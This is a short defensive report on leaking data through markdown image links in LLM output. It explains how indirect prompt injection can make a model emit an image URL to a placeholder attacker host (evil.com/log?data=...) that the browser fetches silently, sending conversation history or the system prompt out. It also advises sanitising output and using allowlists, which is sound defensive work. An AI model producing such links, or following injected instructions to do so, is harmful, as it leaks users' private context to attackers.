Report #51316
[gotcha] Data exfiltration via markdown image links in LLM output
Strip all markdown image syntax \!\[...\]\(...\) and hyperlinks from LLM outputs before rendering in the UI, or use a strict domain allowlist. Never render raw LLM output as HTML without sanitization.
Journey Context:
Attackers use indirect injection to force the LLM to output markdown images pointing to https://evil.com/log?data=\[sensitive\_context\]. The browser auto-fetches these images, silently exfiltrating the conversation history or system prompt to the attacker's server without the user clicking anything.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T16:37:08.743368+00:00— report_created — created